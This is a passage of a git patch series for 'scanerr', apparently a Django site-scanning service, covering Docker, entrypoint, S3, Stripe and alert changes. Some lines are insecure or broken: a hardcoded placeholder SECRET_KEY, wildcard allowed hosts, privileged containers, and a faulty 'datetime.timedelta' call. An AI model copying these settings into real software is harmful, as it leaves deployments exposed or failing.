index 4f40b281..29753669 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,6 +5,9 @@ if [[ $1 == *"app"* ]]
 then 
   if [[ $2 == *"local"* ]]
   then
+    chown -R app:app /app/api/migrations/ && 
+    chmod -R 755 /app/api/migrations/ &&
+    ls -la /app/api/migrations/ &&
     python3 manage.py wait_for_db && 
     python3 manage.py makemigrations --no-input &&
     python3 manage.py migrate --no-input &&
@@ -15,6 +18,9 @@ then
   fi
   if [[ $2 == *"remote"* ]]
     then
+      chown -R app:app /app/api/migrations/ && 
+      chmod -R 755 /app/api/migrations/ &&
+      ls -la /app/api/migrations/ &&
       python3 manage.py wait_for_db && 
       python3 manage.py makemigrations --no-input &&
       python3 manage.py migrate --no-input &&

From 8464db7682dd98e1f1712709a7ced1efc8bd38bb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 12:05:17 -0600
Subject: [PATCH 0707/1099] testing

---
 docker-compose.dev.yml      | 2 +-
 docker-compose.local.yml    | 2 +-
 setup/scripts/entrypoint.sh | 5 -----
 3 files changed, 2 insertions(+), 7 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index a35ab920..eeabc2e8 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -4,9 +4,9 @@ services:
   app:
     container_name: scanerr-app
     hostname: scanerr-app
-    restart: always
     platform: linux/amd64
     privileged: true
+    restart: always
     init: true
     build:
       context: .
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 60d0d0e2..1b7a3d83 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -6,8 +6,8 @@ services:
     hostname: scanerr-app
     platform: linux/amd64
     privileged: true
-    init: true
     restart: always
+    init: true
     build:
       context: .
       dockerfile: Dockerfile
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 29753669..74f5fdd8 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,9 +5,6 @@ if [[ $1 == *"app"* ]]
 then 
   if [[ $2 == *"local"* ]]
   then
-    chown -R app:app /app/api/migrations/ && 
-    chmod -R 755 /app/api/migrations/ &&
-    ls -la /app/api/migrations/ &&
     python3 manage.py wait_for_db && 
     python3 manage.py makemigrations --no-input &&
     python3 manage.py migrate --no-input &&
@@ -18,8 +15,6 @@ then
   fi
   if [[ $2 == *"remote"* ]]
     then
-      chown -R app:app /app/api/migrations/ && 
-      chmod -R 755 /app/api/migrations/ &&
       ls -la /app/api/migrations/ &&
       python3 manage.py wait_for_db && 
       python3 manage.py makemigrations --no-input &&

From c86376c14b6cc206602362fadc9027e6e90bdbbb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 12:15:39 -0600
Subject: [PATCH 0708/1099] testing

---
 Dockerfile                  | 6 +++---
 setup/scripts/entrypoint.sh | 3 ++-
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index e695380a..280b4438 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -85,9 +85,9 @@ WORKDIR /app
 RUN mkdir -p .mozilla .cache
 
 # setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /app/api/migrations*
-RUN chmod -R 755 /app/api/migrations*
+RUN chown -R app:app /app/*
+RUN chown -R app:app /app/api/migrations/*
+RUN chmod -R 755 /app/api/migrations/*
 
 # cleaning up
 RUN apt-get clean && rm -rf \
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 74f5fdd8..29991f52 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,6 +5,7 @@ if [[ $1 == *"app"* ]]
 then 
   if [[ $2 == *"local"* ]]
   then
+    ls && ls -la /app/api/migrations/ &&
     python3 manage.py wait_for_db && 
     python3 manage.py makemigrations --no-input &&
     python3 manage.py migrate --no-input &&
@@ -15,7 +16,7 @@ then
   fi
   if [[ $2 == *"remote"* ]]
     then
-      ls -la /app/api/migrations/ &&
+      ls && ls -la /app/api/migrations/ &&
       python3 manage.py wait_for_db && 
       python3 manage.py makemigrations --no-input &&
       python3 manage.py migrate --no-input &&

From 236b36118fa267799b288a81b24ea266c7e11622 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 12:40:07 -0600
Subject: [PATCH 0709/1099] testing new scripts

---
 Dockerfile                  | 16 ++++++++---
 setup/scripts/entrypoint.sh | 54 +++++++++++++++++--------------------
 2 files changed, 37 insertions(+), 33 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 280b4438..f20dbac0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -85,9 +85,19 @@ WORKDIR /app
 RUN mkdir -p .mozilla .cache
 
 # setting ownership
-RUN chown -R app:app /app/*
-RUN chown -R app:app /app/api/migrations/*
-RUN chmod -R 755 /app/api/migrations/*
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/local/bin/lighthouse
+RUN chown -R app:app /usr/local/bin/yellowlabtools
+
+# django specific temp ENVs 
+ENV DJANGO_ALLOWED_HOSTS="*"
+ENV SECRET_KEY="abcdefghijklmno123456789"
+
+# make migrations file
+RUN python3.12 manage.py makemigrations --no-input
+
+# collect static assets
+RUN python3.12 manage.py collectstatic --no-input
 
 # cleaning up
 RUN apt-get clean && rm -rf \
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 29991f52..f0c67237 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -2,44 +2,38 @@
 
 # spin up app in local or remote env
 if [[ $1 == *"app"* ]]
-then 
-  if [[ $2 == *"local"* ]]
-  then
-    ls && ls -la /app/api/migrations/ &&
-    python3 manage.py wait_for_db && 
-    python3 manage.py makemigrations --no-input &&
-    python3 manage.py migrate --no-input &&
-    python3 manage.py collectstatic --no-input &&
-    python3 manage.py create_admin &&
-    python3 manage.py driver_test &&
-    python3 manage.py runserver 0.0.0.0:8000
-  fi
-  if [[ $2 == *"remote"* ]]
-    then
-      ls && ls -la /app/api/migrations/ &&
-      python3 manage.py wait_for_db && 
-      python3 manage.py makemigrations --no-input &&
-      python3 manage.py migrate --no-input &&
-      python3 manage.py collectstatic --no-input &&
-      python3 manage.py create_admin &&
-      python3 manage.py driver_test &&
-      gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+  then 
+    if [[ $2 == *"local"* ]]
+      then
+        python3 manage.py wait_for_db && 
+        python3 manage.py migrate --no-input &&
+        python3 manage.py create_admin &&
+        python3 manage.py driver_test &&
+        python3 manage.py runserver 0.0.0.0:8000
+    fi
+    if [[ $2 == *"remote"* ]]
+      then
+        python3 manage.py wait_for_db && 
+        python3 manage.py migrate --no-input &&
+        python3 manage.py create_admin &&
+        python3 manage.py driver_test &&
+        gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
     fi
 fi
 
 # spin up celery
 if [[ $1 == *"celery"* ]]
-then
-  python3 manage.py wait_for_db && 
-  echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker -E --loglevel=info -O fair
+  then
+    python3 manage.py wait_for_db && 
+    echo "pausing for migrations to complete..." && sleep 7s &&
+    celery -A scanerr worker -E --loglevel=info -O fair
 fi
 
 # spin up celery beat
 if [[ $1 == *"beat"* ]]
-then
-  python3 manage.py wait_for_db &&
-  echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr beat --scheduler django --loglevel=info
+  then
+    python3 manage.py wait_for_db &&
+    echo "pausing for migrations to complete..." && sleep 7s &&
+    celery -A scanerr beat --scheduler django --loglevel=info
 fi
 

From e38b1a21f931930aebc92b0b64531e2bbfa65bf6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 12:40:44 -0600
Subject: [PATCH 0710/1099] fixing issues with Instantiation

---
 app/api/tasks.py               | 28 +++++++++++++++-------------
 app/api/utils/exporter.py      | 18 ++++++++----------
 app/api/v1/billing/services.py | 31 +++++++++++++++++++++++++++----
 3 files changed, 50 insertions(+), 27 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index ff3e96a8..4197335d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -44,12 +44,14 @@ class BaseTaskWithRetry(Task):
 
 
 # setting s3 instance
-s3 = boto3.resource('s3', 
-    aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-    region_name=str(settings.AWS_S3_REGION_NAME), 
-    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-)
+def s3():
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+    return s3
 
 
 
@@ -991,7 +993,7 @@ def delete_site_s3_bg(site_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
     except:
         pass
@@ -1018,7 +1020,7 @@ def delete_page_s3_bg(page_id: str, site_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
     except:
         pass
@@ -1046,7 +1048,7 @@ def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
     except:
         pass
@@ -1074,7 +1076,7 @@ def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
     except:
         pass
@@ -1100,7 +1102,7 @@ def delete_testcase_s3_bg(testcase_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
     except:
         pass
@@ -1129,7 +1131,7 @@ def delete_report_s3_bg(report_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
     except:
         pass
@@ -1155,7 +1157,7 @@ def delete_case_s3_bg(case_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/cases/{case_id}/')).delete()
     except:
         pass
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index af4dfe60..7eb469e0 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -8,16 +8,6 @@
 
 
 
-
-# setting up s3 client
-s3 = boto3.client(
-    's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-    region_name=str(settings.AWS_S3_REGION_NAME), 
-    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-)
-
-
 def create_and_send_report_export(report_id: id, email: str, first_name: str) -> dict:
     """
     Takes a screenshot of the `landing.report`, 
@@ -35,6 +25,14 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     }
     """
 
+    # setting up s3 client
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
     # init driver
     driver = driver_init(scale_factor=1)
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 50ee8e64..2123be8c 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -16,10 +16,6 @@
 
 
 
-# init Stripe client
-stripe.api_key = settings.STRIPE_PRIVATE
-
-
 
 
 def stripe_setup(request: object) -> object: 
@@ -48,6 +44,9 @@ def stripe_setup(request: object) -> object:
         'client_secret' : Stripe subscription client_secret,
     }
     """ 
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
     
     # get request data
     name = request.data.get('name')
@@ -191,6 +190,9 @@ def stripe_complete(request: object) -> object:
     
     Returns -> `Account` HTTP Response object
     """
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
     
     # get request data
     account = Account.objects.get(user=request.user)
@@ -277,6 +279,9 @@ def calc_price(account: object=None) -> int:
     
     Returns: 'price_amount' <int>
     """
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
     
     # get max_sites
     max_sites = account.max_sites
@@ -329,6 +334,9 @@ def get_stripe_hosted_url(request: object=None) -> object:
     }
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get account
     user = request.user
     account = Account.objects.get(user=user)
@@ -399,6 +407,9 @@ def update_account_with_stripe_redirect(request: object=None) -> object:
     Returns -> HTTP Response object
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get account
     account = Account.objects.get(user=request.user)
     cust_id = account.cust_id
@@ -495,6 +506,9 @@ def get_billing_info(request: object) -> object:
     Returns -> HTTP Response object
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get user and account
     user = request.user
     account = Account.objects.get(user=user)
@@ -546,6 +560,9 @@ def account_activation(request: object) -> object:
     Returns -> `Account` HTTP Response object
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get user's Account
     account = Account.objects.get(user=request.user)
     
@@ -596,6 +613,9 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
     Returns -> `Account` HTTP Response object or Bool `true`
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get user's account
     if request is not None:
         account = Account.objects.get(user=request.user)
@@ -679,6 +699,9 @@ def get_stripe_invoices(request: object) -> object:
     }
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get user's account
     account = Account.objects.get(user=request.user)
 

From fe09882039e3bbf9b90216418403934c53f103ec Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 13:48:17 -0600
Subject: [PATCH 0711/1099] testing new configurations

---
 Dockerfile                  |  6 ++----
 docker-compose.dev.yml      | 13 ++++++++-----
 docker-compose.local.yml    |  9 ++++++---
 setup/scripts/entrypoint.sh |  1 +
 4 files changed, 17 insertions(+), 12 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index f20dbac0..11a7fb31 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -16,6 +16,8 @@ ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
 ENV PYTHONPATH="$HOME:$PYTHONPATH"
 ENV NODE_OPTIONS="--max-old-space-size=4080"
+ENV DJANGO_ALLOWED_HOSTS="*"
+ENV SECRET_KEY="abcdefghijklmno123456789"
 
 # create the app user
 RUN addgroup --system app && adduser --system app
@@ -89,10 +91,6 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/local/bin/lighthouse
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 
-# django specific temp ENVs 
-ENV DJANGO_ALLOWED_HOSTS="*"
-ENV SECRET_KEY="abcdefghijklmno123456789"
-
 # make migrations file
 RUN python3.12 manage.py makemigrations --no-input
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index eeabc2e8..33d2713e 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -17,8 +17,8 @@ services:
     env_file:
       - ./env/.env.dev
     volumes:
-      - ./app:/app:rw
-      - static_volume:/app/static:rw
+      - app:/app
+      - static_volume:/app/static
     depends_on:
       - db
 
@@ -56,7 +56,7 @@ services:
     env_file:
       - ./env/.env.dev
     volumes:
-      - ./app:/scanerr:rw
+      - celery:/app
     depends_on:
       - redis
       - app
@@ -74,9 +74,9 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
-      - ./app:/scanerr:rw
+      - ./app:/scanerr-celery
     env_file:
-      - ./env/.env.dev
+      - beat:/app
     depends_on:
       - redis
       - celery
@@ -135,6 +135,9 @@ services:
 
 
 volumes:
+  app:
+  celery:
+  beat:
   static_volume:
   letsencrypt-acme:
   pgdata:
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 1b7a3d83..6fbb1393 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -17,7 +17,7 @@ services:
     env_file:
       - ./env/.env.local
     volumes:
-      - ./app:/app
+      - app:/app
     depends_on:
       - db
 
@@ -51,7 +51,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "celery"]
     volumes:
-      - ./app:/scanerr
+      - celery:/app
     env_file:
       - ./env/.env.local
     depends_on:
@@ -71,7 +71,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
-      - ./app:/scanerr
+      - beat:/app
     env_file:
       - ./env/.env.local
     depends_on:
@@ -98,3 +98,6 @@ services:
 
 volumes:
   pgdata:
+  app:
+  celery:
+  beat:
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index f0c67237..cb917551 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,6 +5,7 @@ if [[ $1 == *"app"* ]]
   then 
     if [[ $2 == *"local"* ]]
       then
+        # sleep 500s
         python3 manage.py wait_for_db && 
         python3 manage.py migrate --no-input &&
         python3 manage.py create_admin &&

From b35efecaf950f428546aa7b75b57e35bf15b11a6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 13:55:32 -0600
Subject: [PATCH 0712/1099] fixed env issue

---
 Dockerfile                  | 2 +-
 docker-compose.dev.yml      | 4 ++--
 setup/scripts/entrypoint.sh | 1 -
 3 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 11a7fb31..636db26c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -83,7 +83,7 @@ RUN python3.12 -m pip install -r /requirements.txt
 COPY ./app /app
 WORKDIR /app
 
-# setting extra dirs
+# setting browser cache dirs 
 RUN mkdir -p .mozilla .cache
 
 # setting ownership
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 33d2713e..1bb2c60c 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -74,9 +74,9 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
-      - ./app:/scanerr-celery
-    env_file:
       - beat:/app
+    env_file:
+      - ./env/.env.dev
     depends_on:
       - redis
       - celery
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index cb917551..f0c67237 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,7 +5,6 @@ if [[ $1 == *"app"* ]]
   then 
     if [[ $2 == *"local"* ]]
       then
-        # sleep 500s
         python3 manage.py wait_for_db && 
         python3 manage.py migrate --no-input &&
         python3 manage.py create_admin &&

From 32e3e476666f3029818fc0d98f3a455f1abbb037 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 14:35:15 -0600
Subject: [PATCH 0713/1099] fixed staging scripts

---
 commands.txt                | 2 +-
 docker-compose.stage.yml    | 2 +-
 setup/scripts/entrypoint.sh | 6 ++++++
 3 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/commands.txt b/commands.txt
index d40af608..7c63c2b5 100644
--- a/commands.txt
+++ b/commands.txt
@@ -23,7 +23,7 @@ docker compose -f docker-compose.dev.yml down
 
 
 ### spins up the container for staging migrations ###
-docker compose -f docker-compose.stage.yml up -d --build
+docker compose -f docker-compose.stage.yml up --build
 
 ### spins down the container ###
 docker compose -f docker-compose.stage.yml down
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 64030f74..0c92d71e 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -13,7 +13,7 @@ services:
       dockerfile: Dockerfile
     ports:
       - "8000:8000"
-    entrypoint: ["/entrypoint.sh", "app", "local"]
+    entrypoint: ["/entrypoint.sh", "app", "stage"]
     env_file:
       - ./env/.env.stage
     volumes:
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index f0c67237..0cc19ab7 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -19,6 +19,12 @@ if [[ $1 == *"app"* ]]
         python3 manage.py driver_test &&
         gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
     fi
+    if [[ $2 == *"stage"* ]]
+    then
+      python3 manage.py wait_for_db && 
+      python3 manage.py makemigrations --no-input &&
+      python3 manage.py migrate --no-input
+    fi
 fi
 
 # spin up celery

From 0d8ecbbf5d4cb5827c52797543693da366d25c02 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 16:28:56 -0600
Subject: [PATCH 0714/1099] testing new fixes

---
 .github/workflows/dev-deploy.yaml |  1 +
 app/api/tasks.py                  |  2 +-
 app/api/v1/ops/services.py        | 12 ++++++++----
 commands.txt                      |  3 +++
 docker-compose.prod.yml           |  9 ++++++---
 setup/scripts/local.sh            |  9 +++++++++
 6 files changed, 28 insertions(+), 8 deletions(-)
 create mode 100644 setup/scripts/local.sh

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index db126a09..704b58cf 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -30,4 +30,5 @@ jobs:
           cd ~/app
           git pull origin dev
           docker compose -f docker-compose.dev.yml down
+          docker volume rm app_app app_beat app_celery
           docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 4197335d..f24a7ed7 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1517,7 +1517,7 @@ def reset_usage(account):
                     reset_usage(account)
 
             # udpate account.meta.last_usage_reset
-            account.meta['last_usage_reset'] = today.strftime(f)
+            account.meta = {'last_usage_reset': today.strftime(f)}
             account.save()
     
     return None
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index b58b132f..8245a856 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1,4 +1,4 @@
-from datetime import datetime
+from datetime import datetime, timedelta
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
 from django.db.models import Q
@@ -5758,9 +5758,13 @@ def get_site_metrics(request: object) -> object:
     # get last reset day 
     f = '%Y-%m-%d %H:%M:%S.%f'
     last_usage_date_str = account.meta.get('last_usage_reset')
-    last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
-    last_usage_date = datetime.strptime(last_usage_date_str, f)
-    
+    last_usage_date = None
+    if last_usage_date_str:  
+        last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
+        last_usage_date = datetime.strptime(last_usage_date_str, f)
+    else:
+        last_usage_date = datetime.now() - datetime.timedelta(30)
+
     # get scans
     scans = Scan.objects.filter(
         site=site,
diff --git a/commands.txt b/commands.txt
index 7c63c2b5..ee2080db 100644
--- a/commands.txt
+++ b/commands.txt
@@ -1,3 +1,6 @@
+### easy local script ###
+source ./setup/scripts/local.sh
+
 ### spins up container on localhost ###
 docker compose -f docker-compose.local.yml up --build
 
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 90731a1c..0b9355d0 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -17,7 +17,7 @@ services:
     env_file:
       - ./env/.env.prod
     volumes:
-      - ./app:/app
+      - app:/app
       - static_volume:/app/static
     depends_on:
       - db
@@ -55,7 +55,7 @@ services:
     env_file:
       - ./env/.env.prod
     volumes:
-      - ./app:/scanerr
+      - celery:/app
     depends_on:
       - redis
       - app
@@ -72,7 +72,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
-      - ./app:/scanerr
+      - beat:/app
     env_file:
       - ./env/.env.prod
     depends_on:
@@ -133,6 +133,9 @@ services:
 
 
 volumes:
+  app:
+  celery:
+  beat:
   static_volume:
   letsencrypt-acme:
   pgdata:
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
new file mode 100644
index 00000000..cd28df00
--- /dev/null
+++ b/setup/scripts/local.sh
@@ -0,0 +1,9 @@
+#!/bin/bash
+
+cd $HOME/documents/coding/scanerr/server &&
+{
+    docker volume rm server_app server_beat server_celery &&
+    docker compose -f docker-compose.local.yml up --build
+} || {
+    docker compose -f docker-compose.local.yml up --build
+}

From 73df52281b8a3982146e3f85690a2ad7e34a3c3e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 18:51:05 -0600
Subject: [PATCH 0715/1099] testing prod issue

---
 app/api/tasks.py        | 14 +++++++++++++-
 app/api/utils/alerts.py | 22 +++++++++++-----------
 2 files changed, 24 insertions(+), 12 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f24a7ed7..191509e6 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -376,7 +376,8 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                 try:
                     pages.append(
                         Page.objects.get(id=item['id'])
-                    ) 
+                    )
+                    print(f'pages added -> {pages}')
                 except Exception as e:
                     print(e)
             
@@ -386,6 +387,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                     sites.append(
                         Site.objects.get(id=item['id'])
                     ) 
+                    print(f'sites added -> {sites}')
                 except Exception as e:
                     print(e)
     
@@ -400,9 +402,12 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
     # creating scans for each page
     for page in pages:
+        print(f'trying to scan page -> {page.page_url}')
         # check resource 
         if check_and_increment_resource(page.account, 'scans'):
 
+            print(f'allowed to create new Scan')
+
             # updating latest_scan info for page
             page.info['latest_scan']['id'] = 'placeholder'
             page.info['latest_scan']['time_created'] = str(timezone.now())
@@ -411,12 +416,17 @@ def create_scan_bg(self, *args, **kwargs) -> None:
             page.info['latest_scan']['score'] = None
             page.save()
 
+            print('updated page info')
+
             # updating latest_scan info for site
             page.site.info['latest_scan']['id'] = 'placeholder'
             page.site.info['latest_scan']['time_created'] = str(timezone.now())
             page.site.info['latest_scan']['time_completed'] = None
             page.site.save()
 
+            print('updated site info')
+
+
             create_scan.delay(
                 page_id=page.id,
                 type=type,
@@ -424,6 +434,8 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                 tags=tags,
                 automation_id=automation_id
             )
+
+            print('init new bg scan')
     
     # update schedule if task_id is not None
     if task_id:
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 8ae34047..30a5d391 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -226,7 +226,7 @@ def create_exp(item: object=None, automation: object=None) -> dict:
                 float(item.yellowlab_delta["scores"]["current_average"])) /2
             )
         elif 'health' in e['data_type']:
-            title = 'Health:'
+            title = 'Health'
             data = str(
                 (float(item.lighthouse["scores"]["average"]) + 
                 float(item.yellowlab["scores"]["globalScore"])) /2
@@ -289,10 +289,10 @@ def create_exp(item: object=None, automation: object=None) -> dict:
             title = 'Images Delta'
             data = str(item.yellowlab_delta["scores"]["images_delta"])
         elif 'domComplexity_delta' in e['data_type']:
-            title = 'DOM Complex. Delta'
+            title = 'DOM Complexity Delta'
             data = str(item.yellowlab_delta["scores"]["domComplexity_delta"])
         elif 'javascriptComplexity_delta' in e['data_type']:
-            title = 'JS Complex. Delta'
+            title = 'JS Complexity Delta'
             data = str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])
         elif 'badJavascript_delta' in e['data_type']:
             title = 'Bad JS Delta'
@@ -301,7 +301,7 @@ def create_exp(item: object=None, automation: object=None) -> dict:
